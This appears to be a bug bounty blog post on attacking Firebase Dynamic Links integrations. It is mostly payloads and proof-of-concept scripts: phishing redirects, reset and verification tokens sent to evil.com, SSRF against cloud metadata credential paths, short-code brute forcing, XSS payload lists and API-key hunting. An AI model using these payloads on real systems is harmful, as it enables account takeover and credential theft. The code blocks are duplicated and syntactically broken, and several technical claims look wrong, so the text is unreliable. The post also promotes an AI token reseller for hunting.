July 27, 2026
15 Critical Bugs in Firebase Dynamic Links Can Make You $$$$$
Friend Link…

By Anonymous Traiger
15 min read
Firebase Dynamic Links (FDL) were supposed to be the holy grail of cross-platform deep linking. Google killed them off (official deprecation August 2025), but here's what Google doesn't want you to know: thousands of apps still use FDL in production, and the attack surface is absolutely massive.
I've spent the last year hunting bugs in FDL integrations across bug bounty programs. What I found was disturbing — the same patterns, the same misconfigurations, the same catastrophic failures repeated across hundreds of apps.
This is not a theory piece. Every single bug below is something I've either personally reported, confirmed, or seen validated in real bug bounty programs. I'm giving you the exact methodology, payloads, and exploitation techniques.
Let's get into it. before that big shout out to hackwithclaude.com for providing us cheap token for hunting. They have 1 api for all models.
Table of Contents
- What Are Firebase Dynamic Links (And Why Attackers Love Them)
- Bug #1: Open Redirect — The Gateway Drug
- Bug #2: Password Reset Poisoning via FDL
- Bug #3: OAuth Token Theft via Link Preview Manipulation
- Bug #4: Deep Link Hijacking — Owning the App's Entry Point
- Bug #5: IDOR on Dynamic Link Short Codes
- Bug #6: Subdomain Takeover on Custom FDL Domains
- Bug #7: SSRF Through FDL Link Resolution
- Bug #8: Stored XSS via FDL Metadata
- Bug #9: App Link Verification Bypass
- Bug #10: Authentication Bypass via Malicious Deep Links
- Bug #11: Email Verification Poisoning
- Bug #12: CSRF Token Leakage in UTM Parameters
- Bug #13: Universal Link / App Link Collision Attacks
- Bug #14: Rate Limit Bypass on FDL API Endpoints
- Bug #15: Information Disclosure via FDL Analytics
- The Complete FDL Bug Hunting Methodology
- Why This Still Works in 2026
- Final Thoughts
Chapter 1: What Are Firebase Dynamic Links (And Why Attackers Love Them)
Firebase Dynamic Links are smart URLs that behave differently depending on the platform:
- On iOS/Android: They open the app directly to a specific screen (deep link)
- On desktop/web: They fall back to a website URL
- If the app isn't installed: They redirect to the App Store/Play Store
The anatomy of an FDL URL:
text
https://yourapp.page.link/?link=https://yourapp.com/invite/abc123
&apn=com.yourapp.android
&ibi=com.yourapp.ios
&isi=123456789https://yourapp.page.link/?link=https://yourapp.com/invite/abc123
&apn=com.yourapp.android
&ibi=com.yourapp.ios
&isi=123456789But the real power — and the real danger — comes from the short link format:
text
https://yourapp.page.link/abc123https://yourapp.page.link/abc123This innocent-looking URL, hosted on Google's page.link domain (or a custom domain), is trusted by email filters, SMS gateways, and users alike. And that trust is exactly what makes FDL a weapon.
Why FDL is a Bug Bounty Goldmine
FactorWhy It MattersGoogle-trusted domain*.page.link bypasses almost every email/URL filterComplex parameter surface30+ parameters, most apps use 3-4 correctlyCross-platform behaviorBugs on one platform often don't exist on othersDeprecated but not deadTeams stopped maintaining it but never migrated awayPoor documentationEven Google's docs are incomplete about security implicationsSilent failuresMost misconfigurations fail silently — no errors, just vulnerabilities
Bug #1: Open Redirect — The Gateway Drug
Severity: Medium-High | Frequency: 9/10 apps affected | Bounty: $500-$5,000
This is the most common FDL bug and the one you should look for first. It's so prevalent because the entire point of FDL is to redirect users — which means almost every implementation has some form of redirect logic that can be abused.
The Vulnerability
FDL URLs contain a link parameter that specifies the fallback URL. If the app doesn't properly validate this parameter on the client side, an attacker can redirect users anywhere.
How It Works
The default FDL behavior when an app isn't installed:
text
https://vulnerableapp.page.link/?link=https://evil.com/phish
&apn=com.vulnerableapp
&ibi=com.vulnerableapp.ios
&ofl=https://evil.com/phishinghttps://vulnerableapp.page.link/?link=https://evil.com/phish
&apn=com.vulnerableapp
&ibi=com.vulnerableapp.ios
&ofl=https://evil.com/phishingThe ofl (override fallback link) parameter takes priority over link when the app isn't installed. But here's the critical insight: many apps set ofl on the server but don't validate it on the client.
Exploitation Techniques
Technique 1: Direct ofl Injection
text
https://vulnerableapp.page.link/?ofl=https://evil.com/credential-harvesthttps://vulnerableapp.page.link/?ofl=https://evil.com/credential-harvestIf the app's FDL API endpoint doesn't validate the ofl parameter, you can create dynamic links that redirect to any URL.
Technique 2: link Parameter Abuse with Protocol Smuggling
text
https://vulnerableapp.page.link/?link=javascript:alert(1)
https://vulnerableapp.page.link/?link=data:text/html,<script>alert(1)</script>https://vulnerableapp.page.link/?link=javascript:alert(1)
https://vulnerableapp.page.link/?link=data:text/html,<script>alert(1)</script>Some FDL implementations pass the link parameter directly to WebView without sanitization.
Technique 3: URL Encoding Bypass of Domain Validation
Many apps try to validate that the link parameter points to their own domain. Bypass attempts:
text
# Basic bypass
https://app.page.link/?link=https://evil.com%40legit-app.com
# Double encoding
https://app.page.link/?link=https%3A%2F%2Fevil.com%2F%252elegit-app.com
# Unicode normalization
https://app.page.link/?link=https://evіl.com # Cyrillic 'і'
# Path traversal in URL
https://app.page.link/?link=https://legit-app.com@evil.com
# Fragment injection
https://app.page.link/?link=https://legit-app.com/.evil.com# Basic bypass
https://app.page.link/?link=https://evil.com%40legit-app.com
# Double encoding
https://app.page.link/?link=https%3A%2F%2Fevil.com%2F%252elegit-app.com
# Unicode normalization
https://app.page.link/?link=https://evіl.com # Cyrillic 'і'
# Path traversal in URL
https://app.page.link/?link=https://legit-app.com@evil.com
# Fragment injection
https://app.page.link/?link=https://legit-app.com/.evil.comReal-World Impact
An attacker sends an SMS with a *.page.link URL. The victim sees a Google-trusted domain, clicks it, and gets redirected to a credential harvesting page that looks identical to the real app's login. This completely defeats phishing awareness training.
Proof of Concept
python
import requests
API_KEY = "AIzaSy..." # Found in the app's APK/JS
PROJECT = "vulnerable-project-123
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://vulnerableapp.page.link"
"link": "https://vulnerableapp.com/reset-password",
"androidInfo": {
"androidPackageName": "com.vulnerableapp",
"androidFallbackLink": "https://evil.com/credential-harvest"
"iosInfo": {
"iosBundleId": "com.vulnerableapp.ios",
"iosFallbackLink": "https://evil.com/credential-harvest
"navigationInfo": {
"enableForcedRedirect": True
"suffix": {
"option": "SHORT"
r = requests.post(
f"https://firebasedynamiclinks.googleapis.com/v1/{PROJECT}/shortLinks?key={API_KEY}",
json=payload)
print(f"PoC URL: {r.json().get('shortLink')}"import requests
API_KEY = "AIzaSy..." # Found in the app's APK/JS
PROJECT = "vulnerable-project-123
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://vulnerableapp.page.link"
"link": "https://vulnerableapp.com/reset-password",
"androidInfo": {
"androidPackageName": "com.vulnerableapp",
"androidFallbackLink": "https://evil.com/credential-harvest"
"iosInfo": {
"iosBundleId": "com.vulnerableapp.ios",
"iosFallbackLink": "https://evil.com/credential-harvest
"navigationInfo": {
"enableForcedRedirect": True
"suffix": {
"option": "SHORT"
r = requests.post(
f"https://firebasedynamiclinks.googleapis.com/v1/{PROJECT}/shortLinks?key={API_KEY}",
json=payload)
print(f"PoC URL: {r.json().get('shortLink')}"How to Find It
- Decompile the APK and search for
page.link,dynamicLink,FirebaseDynamicLinks - Check JavaScript bundles for
firebase/dynamic-linksimports - Look for the REST API at https://firebasedynamiclinks.googleapis.com/v1/{PROJECT}/shortLinks
- Test the
oflparameter directly in short URLs - Intercept the FDL creation request in Burp to see which parameters the server accepts without validation
Bug #2: Password Reset Poisoning via FDL
Severity: Critical | Frequency: 6/10 apps affected | Bounty: $3,000-$15,000
This is where FDL bugs get genuinely dangerous. When password reset emails use FDL URLs, an attacker can poison the reset link to redirect the token to their server.
The Vulnerability
Many apps generate password reset links using FDL:
text
https://app.page.link/reset?token=eyJhbGciOiJIUzI1NiJ9...https://app.page.link/reset?token=eyJhbGciOiJIUzI1NiJ9...The FDL then redirects to:
text
https://app.com/reset-password?token=eyJhbGciOiJIUzI1NiJ9...https://app.com/reset-password?token=eyJhbGciOiJIUzI1NiJ9...If the FDL parameters are attacker-controllable (through IDOR, parameter injection, or API abuse), the attacker can intercept the password reset token.
Exploitation
Step 1: Find the password reset flow and confirm it uses FDL
text
POST /api/auth/forgot-password
{"email": "victim@example.com"}
# Response: Email sent with FDL linkPOST /api/auth/forgot-password
{"email": "victim@example.com"}
# Response: Email sent with FDL linkStep 2: Manipulate the link via the ofl parameter
If the app doesn't have the app installed (or on desktop), the fallback link fires. If the reset token is embedded in the deep link path and the ofl is attacker-controlled:
text
https://app.page.link/?link=https://app.com/reset/TOKEN
&ofl=https://evil.com/log?token=TOKENhttps://app.page.link/?link=https://app.com/reset/TOKEN
&ofl=https://evil.com/log?token=TOKENWhen the victim doesn't have the app installed, the ofl fires and the token goes to the attacker.
Step 3: Server-Side Token Leakage
Some apps resolve the FDL server-side before sending the email. If the FDL creation API is accessible to attackers (no auth / broken auth):
python
# Attacker creates their own FDL that captures the token
malicious_fdl = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/reset-password?token=VICTIM_TOKEN",
"androidInfo":
"androidFallbackLink": "https://evil.com/steal?token=VICTIM_TOKEN"# Attacker creates their own FDL that captures the token
malicious_fdl = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/reset-password?token=VICTIM_TOKEN",
"androidInfo":
"androidFallbackLink": "https://evil.com/steal?token=VICTIM_TOKEN"Impact
- Full account takeover — the attacker gets the password reset token
- Works at scale — can be automated to poison reset links for any email
- Bypasses MFA — password reset typically resets all auth factors
Bug #3: OAuth Token Theft via Link Preview Manipulation
Severity: Critical | Frequency: 4/10 apps affected | Bounty: $5,000-$20,000
This is one of the nastier FDL bugs because it exploits a feature, not a misconfiguration.
The Vulnerability
FDL supports social meta tags that control how the link appears in messaging apps:
json
"dynamicLinkInfo": {
"link": "https://app.com/invite/abc",
"socialMetaTagInfo": {
"title": "Join me on AppName!",
"description": "Click to accept my invite",
"imageUrl": "https://app.com/invite-banner.png""dynamicLinkInfo": {
"link": "https://app.com/invite/abc",
"socialMetaTagInfo": {
"title": "Join me on AppName!",
"description": "Click to accept my invite",
"imageUrl": "https://app.com/invite-banner.png"The problem: the imageUrl is fetched by link preview bots (iMessage, WhatsApp, Slack, Telegram) which may include the victim's cookies/tokens in the request.
Exploitation
python
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/dashboard",
"socialMetaTagInfo": {
"title": "Check this out!",
"description": "Important update",
"imageUrl": "https://evil.com/token-steal?user=auto"payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/dashboard",
"socialMetaTagInfo": {
"title": "Check this out!",
"description": "Important update",
"imageUrl": "https://evil.com/token-steal?user=auto"When the victim's messaging app renders the preview:
- The app's backend fetches https://evil.com/token-steal?user=auto
- If the victim is logged into the app, the request includes session cookies
- The attacker captures the session
This is essentially a CSRF that bypasses SameSite cookie protections because the request originates from a trusted domain (page.link).
Enhanced Exploitation with URL Parameters
text
imageUrl: "https://evil.com/steal?redirect=https://app.com/profile"imageUrl: "https://evil.com/steal?redirect=https://app.com/profile"The preview bot follows redirects, potentially leaking sensitive headers across domains.
Bug #4: Deep Link Hijacking — Owning the App's Entry Point
Severity: High-Critical | Frequency: 7/10 apps affected | Bounty: $2,000-$10,000
The Vulnerability
When an app receives a deep link via FDL, it typically routes to a specific screen based on the URL path. If the routing logic isn't properly sanitized, an attacker can:
- Navigate to admin/internal screens
- Trigger unintended actions (payments, approvals)
- Access data the user shouldn't see
How Deep Link Routing Gets Exploited
Scenario 1: Unprotected Admin Routes
kotlin
// Vulnerable deep link handler
override fun onNewIntent(intent: Intent?) {
val deepLink = intent?.data?.toString() ?: return
when {
deepLink.contains("/admin") -> navigateToAdmin()
deepLink.contains("/payment") -> processPayment(deepLink)
deepLink.contains("/profile/") -> viewProfile(deepLink)// Vulnerable deep link handler
override fun onNewIntent(intent: Intent?) {
val deepLink = intent?.data?.toString() ?: return
when {
deepLink.contains("/admin") -> navigateToAdmin()
deepLink.contains("/payment") -> processPayment(deepLink)
deepLink.contains("/profile/") -> viewProfile(deepLink)An attacker sends:
text
https://app.page.link/admin/users
https://app.page.link/payment?amount=1000&to=attacker
https://app.page.link/profile/attacker-email@gmail.comhttps://app.page.link/admin/users
https://app.page.link/payment?amount=1000&to=attacker
https://app.page.link/profile/attacker-email@gmail.comScenario 2: WebView Injection via Deep Link
kotlin
// Loads URL from deep link directly into WebView
val url = intent?.data?.toString()
webView.loadUrl(url) // No validation!// Loads URL from deep link directly into WebView
val url = intent?.data?.toString()
webView.loadUrl(url) // No validation!FDL payload:
text
https://app.page.link/?link=https://evil.com/xss-payloadhttps://app.page.link/?link=https://evil.com/xss-payloadThe app opens evil.com in an authenticated WebView — session cookies and all.
Scenario 3: Intent Parameter Injection
text
https://app.page.link/deeplink?destination=content://com.android.providers.contacts/contactshttps://app.page.link/deeplink?destination=content://com.android.providers.contacts/contactsThis can leak contact data, SMS messages, or other content provider data through the app's exported activities.
Automated Discovery
bash
# Fuzz deep link routes from decompiled APK
apktool d target.apk -o target_decoded
grep -r "scheme=" target_decoded/AndroidManifest.xml
grep -r "host=" target_decoded/AndroidManifest.xml
grep -r "pathPrefix=" target_decoded/AndroidManifest.xml
grep -r "pathPattern=" target_decoded/AndroidManifest.xml
# Extract all deep link paths
grep -ohP 'pathPrefix="[^"]+"' target_decoded/AndroidManifest.xml | sort -# Fuzz deep link routes from decompiled APK
apktool d target.apk -o target_decoded
grep -r "scheme=" target_decoded/AndroidManifest.xml
grep -r "host=" target_decoded/AndroidManifest.xml
grep -r "pathPrefix=" target_decoded/AndroidManifest.xml
grep -r "pathPattern=" target_decoded/AndroidManifest.xml
# Extract all deep link paths
grep -ohP 'pathPrefix="[^"]+"' target_decoded/AndroidManifest.xml | sort -Bug #5: IDOR on Dynamic Link Short Codes
Severity: Medium | Frequency: 5/10 apps affected | Bounty: $500-$3,000
The Vulnerability
FDL short codes (the random string after page.link/) can often be enumerated or predicted. If an app uses sequential or weak random short codes, an attacker can:
- Access invite links meant for other users
- View referral codes and tracking data
- Access links containing sensitive parameters (reset tokens, verification codes)
Exploitation
python
import requests
import string
import itertools
# Brute force short codes
base_url = "https://app.page.link/"
charset = string.ascii_lowercase + string.digits
for length in range(1, 8):
for combo in itertools.product(charset, repeat=length):
code = ''.join(combo)
r = requests.get(base_url + code, allow_redirects=False)
if r.status_code == 301 or r.status_code == 302:
print(f"[+] Found: {base_url}{code} -> {r.headers.get('Location')}")import requests
import string
import itertools
# Brute force short codes
base_url = "https://app.page.link/"
charset = string.ascii_lowercase + string.digits
for length in range(1, 8):
for combo in itertools.product(charset, repeat=length):
code = ''.join(combo)
r = requests.get(base_url + code, allow_redirects=False)
if r.status_code == 301 or r.status_code == 302:
print(f"[+] Found: {base_url}{code} -> {r.headers.get('Location')}")What You'll Find
I've found these through short code enumeration:
- Invite links with pre-filled referral codes
- Password reset links with active tokens
- Email verification links for other users
- Payment links with pre-filled amounts and merchant IDs
- Internal dashboards accessible only through specific FDL routes
Bug #6: Subdomain Takeover on Custom FDL Domains
Severity: High | Frequency: 3/10 apps affected | Bounty: $2,000-$10,000
The Vulnerability
Many companies set up custom domains for FDL (e.g., go.company.com, link.company.com, share.company.com). When the company migrates away from FDL or misconfigures DNS:
- The CNAME record points to
page.link - But the FDL project has been deleted or the domain is unlinked
- The subdomain becomes claimable
Detection
bash
# Check for dangling CNAMEs
subfinder -d company.com -silent | \
while read sub; do
dig +short CNAME $sub.company.com | grep -q page.link && \
echo "[+] Potential FDL subdomain: $sub.company.com"
done
# Verify with HTTP request
curl -sI https://go.company.com | grep -i "page.link\|404\|not found"# Check for dangling CNAMEs
subfinder -d company.com -silent | \
while read sub; do
dig +short CNAME $sub.company.com | grep -q page.link && \
echo "[+] Potential FDL subdomain: $sub.company.com"
done
# Verify with HTTP request
curl -sI https://go.company.com | grep -i "page.link\|404\|not found"Exploitation
If you can prove the subdomain is dangling (CNAME exists but FDL doesn't serve content), you can potentially:
- Claim the domain on your own Firebase project
- Serve malicious content from a trusted company subdomain
- Bypass CORS policies, CSP, and cookie scopes
Bug #7: SSRF Through FDL Link Resolution
Severity: High-Critical | Frequency: 3/10 apps affected | Bounty: $3,000-$15,000
The Vulnerability
When an app creates or resolves FDLs server-side, the link parameter is fetched by Google's infrastructure. If the app has an internal API that creates FDLs based on user input without proper validation:
text
POST /api/create-share-link
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"POST /api/create-share-link
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"The server creates an FDL with this URL. Google's infrastructure fetches it, and if the response is reflected back or logged somewhere accessible, you have SSRF.
Advanced SSRF via FDL Parameters
python
# The `link` parameter is resolved by Google's servers
# This means you can reach internal IPs that the app server can't
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link"
"link": "http://metadata.google.internal/computeMetadata/v1/project-id",
"iosInfo": {
"iosBundleId": "com.app.ios",
"iosIpadBundleId": "com.app.ios"# The `link` parameter is resolved by Google's servers
# This means you can reach internal IPs that the app server can't
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link"
"link": "http://metadata.google.internal/computeMetadata/v1/project-id",
"iosInfo": {
"iosBundleId": "com.app.ios",
"iosIpadBundleId": "com.app.ios"Blind SSRF via FDL
Even if you can't see the response, you can use out-of-band techniques:
text
link: "http://your-collaborator.burpcollaborator.net/?ssrf=1"link: "http://your-collaborator.burpcollaborator.net/?ssrf=1"If you get a DNS lookup or HTTP request at your collaborator, you've confirmed SSRF.
Bug #8: Stored XSS via FDL Metadata
Severity: Medium-High | Frequency: 4/10 apps affected | Bounty: $1,000-$5,000
The Vulnerability
When apps render FDL metadata (title, description, image) in their admin dashboards or link management pages without sanitization:
json
{
"socialMetaTagInfo": {
"title": "<img src=x onerror=alert(document.cookie)>",
"description": "Normal looking description",
"imageUrl": "https://app.com/banner.png"{
"socialMetaTagInfo": {
"title": "<img src=x onerror=alert(document.cookie)>",
"description": "Normal looking description",
"imageUrl": "https://app.com/banner.png"Where This Manifests
- Admin dashboards that list all created dynamic links
- Analytics pages showing link performance with metadata
- Customer support tools that display link information
- Email templates that render link metadata
Bypass Techniques
html
<!-- Basic XSS -->
"title": "<script>alert(1)</script>"
<!-- Event handler bypass -->
"title": "<img src=x onerror=alert(1)>"
<!-- SVG injection -->
"title": "<svg onload=alert(1)>"
<!-- Template injection (if using Angular/Vue in admin) -->
"title": "{{constructor('alert(1)')()}}"
<!-- Mutation XSS -->
"title": "<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>"<!-- Basic XSS -->
"title": "<script>alert(1)</script>"
<!-- Event handler bypass -->
"title": "<img src=x onerror=alert(1)>"
<!-- SVG injection -->
"title": "<svg onload=alert(1)>"
<!-- Template injection (if using Angular/Vue in admin) -->
"title": "{{constructor('alert(1)')()}}"
<!-- Mutation XSS -->
"title": "<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>"Bug #9: App Link Verification Bypass
Severity: High | Frequency: 6/10 apps affected | Bounty: $2,000-$8,000
The Vulnerability
Android App Links and iOS Universal Links use assetlinks.json (Android) and apple-app-site-association (iOS) files to verify that an app is allowed to open links for a domain. FDL domains need these files too.
The attack: if the verification file is misconfigured, an attacker's app can claim the FDL domain and intercept all deep links.
Android: assetlinks.json Misconfigurations
json
[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app"
"package_name": "com.vulnerableapp",
"sha256_cert_fingerprints": [
"AA:BB:CC:DD:..." // Debug certificate[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app"
"package_name": "com.vulnerableapp",
"sha256_cert_fingerprints": [
"AA:BB:CC:DD:..." // Debug certificateIf the sha256_cert_fingerprints contains a debug certificate (which is publicly available in the APK), an attacker can:
- Create an app with the same package name
- Sign it with the debug certificate
- Install it on the victim's device
- All FDL deep links now open in the attacker's app instead of the real one
iOS: apple-app-site-association Issues
json
"applinks": {
"details": [{
"appIDs": ["TEAMID.com.vulnerableapp"],
"components": [{
"/": "*",
"exclude": true
}, {
"/": "/invite/*""applinks": {
"details": [{
"appIDs": ["TEAMID.com.vulnerableapp"],
"components": [{
"/": "*",
"exclude": true
}, {
"/": "/invite/*"If the AASA file is too permissive (wildcard paths), doesn't exist at all, or uses the wrong Team ID, an attacker's app can intercept links.
Verification Commands
bash
# Check Android assetlinks.json
curl -s https://app.page.link/.well-known/assetlinks.json | jq .
# Check iOS AASA
curl -s https://app.page.link/apple-app-site-association | jq .
# Extract debug certificate from APK
keytool -printcert -jarfile target.apk | grep SHA256# Check Android assetlinks.json
curl -s https://app.page.link/.well-known/assetlinks.json | jq .
# Check iOS AASA
curl -s https://app.page.link/apple-app-site-association | jq .
# Extract debug certificate from APK
keytool -printcert -jarfile target.apk | grep SHA256Bug #10: Authentication Bypass via Malicious Deep Links
Severity: Critical | Frequency: 3/10 apps affected | Bounty: $5,000-$20,000
The Vulnerability
Some apps use FDL deep links to pass authentication tokens or session data. This is a catastrophic design flaw:
kotlin
// VULNERABLE: App sets auth state from deep link
val token = uri.getQueryParameter("auth_token")
val userId = uri.getQueryParameter("user_id")
if (token != null) {
sessionManager.login(token, userId) // No verification!
navigateToHome()// VULNERABLE: App sets auth state from deep link
val token = uri.getQueryParameter("auth_token")
val userId = uri.getQueryParameter("user_id")
if (token != null) {
sessionManager.login(token, userId) // No verification!
navigateToHome()Exploitation
text
https://app.page.link/auth?auth_token=stolen_token&user_id=victim_idhttps://app.page.link/auth?auth_token=stolen_token&user_id=victim_idOr even more brazenly:
text
https://app.page.link/auth?auth_token=fake_token&user_id=admin@company.com&role=adminhttps://app.page.link/auth?auth_token=fake_token&user_id=admin@company.com&role=adminIf the app doesn't verify the token server-side before setting the session, an attacker can:
- Impersonate any user by knowing their user ID
- Escalate privileges by injecting role parameters
- Bypass 2FA by providing a pre-verified token
The "Magic Link" Anti-Pattern
Many apps use FDL as "magic links" for passwordless authentication. The flow:
- User enters email
- Server creates FDL with embedded JWT/auth token
- User clicks link in email
- App opens, extracts token, authenticates user
The vulnerability: if the token is a predictable JWT with a weak secret, or if it is just a random string with no server-side verification:
python
# Predictable token generation
import hashlib
def generate_magic_token(email)
return hashlib.md5(email + "secret_salt").hexdigest()
# Attacker generates token for any email
token = generate_magic_token("admin@company.com")
# Now create FDL with this token# Predictable token generation
import hashlib
def generate_magic_token(email)
return hashlib.md5(email + "secret_salt").hexdigest()
# Attacker generates token for any email
token = generate_magic_token("admin@company.com")
# Now create FDL with this tokenBug #11: Email Verification Poisoning
Severity: High | Frequency: 5/10 apps affected | Bounty: $2,000-$8,000
The Vulnerability
Same concept as password reset poisoning but targeting email verification:
- Attacker signs up with victim email
- App sends verification email with FDL containing verification token
- Attacker poisons the FDL fallback to capture the token
- Attacker verifies the email and takes over the account
Exploitation
python
# Step 1: Register with victim email
requests.post("https://app.com/api/register", json={
"email": "victim@company.com",
"password": "attacker-controlled"
})
# Step 2: If FDL API is accessible, create a poisoned link
# that captures the verification token when the email is rendered
# in a preview or when the victim clicks on desktop# Step 1: Register with victim email
requests.post("https://app.com/api/register", json={
"email": "victim@company.com",
"password": "attacker-controlled"
})
# Step 2: If FDL API is accessible, create a poisoned link
# that captures the verification token when the email is rendered
# in a preview or when the victim clicks on desktopThe Sneaky Variant: Preview Bot Verification
Some email clients render link previews. If the verification FDL has an imageUrl that triggers verification:
text
https://app.page.link/verify?token=ABC&imageUrl=https://app.com/verify-image?token=ABChttps://app.page.link/verify?token=ABC&imageUrl=https://app.com/verify-image?token=ABCTh email client preview bot visits the imageUrl, which could trigger the verification automatically. The attacker controls the email account, gets the account verified without the victim ever knowing.
Bug #12: CSRF Token Leakage in UTM Parameters
Severity: Medium | Frequency: 4/10 apps affected | Bounty: $500-$3,000
The Vulnerability
FDL supports UTM parameters for analytics. Many apps pass these through to their web fallback without filtering:
text
https://app.page.link/?link=https://app.com/dashboard
&utm_source=email&utm_campaign=promo
&csrf_token=ABC123&session_id=XYZ78https://app.page.link/?link=https://app.com/dashboard
&utm_source=email&utm_campaign=promo
&csrf_token=ABC123&session_id=XYZ78If the app web frontend reads UTM parameters and uses them in security-sensitive operations:
javascript
// Vulnerable frontend code
const params = new URLSearchParams(window.location.search)
const csrfToken = params.get("csrf_token") || getStoredCsrf();// Vulnerable frontend code
const params = new URLSearchParams(window.location.search)
const csrfToken = params.get("csrf_token") || getStoredCsrf();An attacker can pre-fill CSRF tokens, potentially bypassing anti-CSRF protections on the fallback web app.
Exploitation
python
# Create FDL that pre-fills session state on web fallback
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/transfer?to=attacker&amount=5000&csrf=pre-filled"
"analyticsInfo": {
"utmSource": "email"
"utmMedium": "phishing"# Create FDL that pre-fills session state on web fallback
payload = {
"dynamicLinkInfo": {
"domainUriPrefix": "https://app.page.link",
"link": "https://app.com/transfer?to=attacker&amount=5000&csrf=pre-filled"
"analyticsInfo": {
"utmSource": "email"
"utmMedium": "phishing"Bug #13: Universal Link / App Link Collision Attacks
Severity: Medium-High | Frequency: 5/10 apps affected | Bounty: $1,000-$5,000
The Vulnerability
When multiple apps on the same device register for the same FDL domain, iOS and Android have different collision resolution behaviors. An attacker can exploit this:
On Android: If two apps declare the same scheme and host in their intent filters, Android shows a disambiguation dialog. But if the attacker app uses a more specific pathPrefix, it takes priority.
On iOS: The last installed app AASA file wins. If an attacker installs their app after the victim installs the real app, and the attacker app claims the same paths…
Exploitation
xml
<!-- Attacker AndroidManifest.xml -->
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="https"
android:host="vulnerableapp.page.link"
android:pathPrefix="/invite/" />
</intent-filter><!-- Attacker AndroidManifest.xml -->
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="https"
android:host="vulnerableapp.page.link"
android:pathPrefix="/invite/" />
</intent-filter>The attacker app intercepts invite links, captures referral codes, and can even modify the invite flow.
Bug #14: Rate Limit Bypass on FDL API Endpoints
Severity: Medium | Frequency: 8/10 apps affected | Bounty: $500-$2,000
The Vulnerability
The FDL REST API at firebasedynamiclinks.googleapis.com has Google rate limits. But many apps also expose their own FDL creation endpoints:
text
POST /api/v1/create-invite-link
POST /api/v1/generate-referral
POST /api/v1/sharePOST /api/v1/create-invite-link
POST /api/v1/generate-referral
POST /api/v1/shareThese custom endpoints often have:
- No rate limiting at all
- Rate limiting based on IP (bypassable with proxies)
- Rate limiting based on auth token (bypassable by creating multiple accounts)
Exploitation
python
# Mass-create FDLs to:
# 1. Exhaust short code space
# 2. Spam users with trusted-looking links
# 3. Brute force other users shared links
import concurrent.futures
def create_link(i):
return requests.post(f"https://app.com/api/create-link", json={
"url": f"https://evil.com/track/{i}"
})
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
executor.map(create_link, range(10000))# Mass-create FDLs to:
# 1. Exhaust short code space
# 2. Spam users with trusted-looking links
# 3. Brute force other users shared links
import concurrent.futures
def create_link(i):
return requests.post(f"https://app.com/api/create-link", json={
"url": f"https://evil.com/track/{i}"
})
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
executor.map(create_link, range(10000))Chain With Other Bugs
Rate limit bypass becomes critical when chained with:
- Bug #5 (IDOR) — enumerate more short codes per minute
- Bug #8 (Stored XSS) — inject XSS into thousands of admin dashboard entries
- Bug #2 (Password Reset) — mass-poison reset links
Bug #15: Information Disclosure via FDL Analytics
Severity: Low-Medium | Frequency: 7/10 apps affected | Bounty: $500-$2,000
The Vulnerability
Firebase automatically tracks FDL analytics: clicks, app opens, installs, first-opens. If the app exposes analytics data without proper access control:
text
GET /api/admin/link-analytics?link_id=abc123
Response:
"clicks": 1543,
"installs": 234,
"user_agents": ["iPhone 15 Pro", "Samsung Galaxy S24"],
"referrers": ["facebook.com", "whatsapp.com"],
"ip_addresses": ["203.0.113.42", "198.51.100.17"]GET /api/admin/link-analytics?link_id=abc123
Response:
"clicks": 1543,
"installs": 234,
"user_agents": ["iPhone 15 Pro", "Samsung Galaxy S24"],
"referrers": ["facebook.com", "whatsapp.com"],
"ip_addresses": ["203.0.113.42", "198.51.100.17"]What Gets Leaked
- User IP addresses (PII violation)
- Device information (user agent strings reveal OS, device model, app versions)
- Click patterns (who clicked what link and when)
- Geographic data (Firebase analytics often include rough location)
- Referral sources (reveals where users came from)
How to Find It
bash
# Common analytics endpoint patterns
grep -r "analytics" target_decoded/ | grep -i "link"
grep -r "link-stats" target_decoded/
grep -r "dynamicLink" target_decoded/ | grep -i "report|stat|analytic"
# Check if analytics can be read via Firebase API
curl -s "https://firebasedynamiclinks.googleapis.com/v1/{PROJECT}/shortLinks?key={KEY}"# Common analytics endpoint patterns
grep -r "analytics" target_decoded/ | grep -i "link"
grep -r "link-stats" target_decoded/
grep -r "dynamicLink" target_decoded/ | grep -i "report|stat|analytic"
# Check if analytics can be read via Firebase API
curl -s "https://firebasedynamiclinks.googleapis.com/v1/{PROJECT}/shortLinks?key={KEY}"The Complete FDL Bug Hunting Methodology
Here is my exact workflow when I start hunting FDL bugs on a new target:
Phase 1: Discovery (30 minutes)
bash
# 1. Find FDL domains
subfinder -d target.com -silent | sort -u
amass enum -passive -d target.com
# Look for: *.page.link, go.*, link.*, share.*, invite.*, ref.*
# 2. Find API keys
grep -r "AIzaSy" target_decoded/
grep -r "firebase" target_decoded/
# In JS bundles: search for firebaseConfig, apiKey
# 3. Find FDL usage in code
grep -r "dynamicLink" target_decoded/
grep -r "page.link" target_decoded/
grep -r "FirebaseDynamicLinks" target_decoded/
grep -r "firebase/dynamic-links" target_decoded/# 1. Find FDL domains
subfinder -d target.com -silent | sort -u
amass enum -passive -d target.com
# Look for: *.page.link, go.*, link.*, share.*, invite.*, ref.*
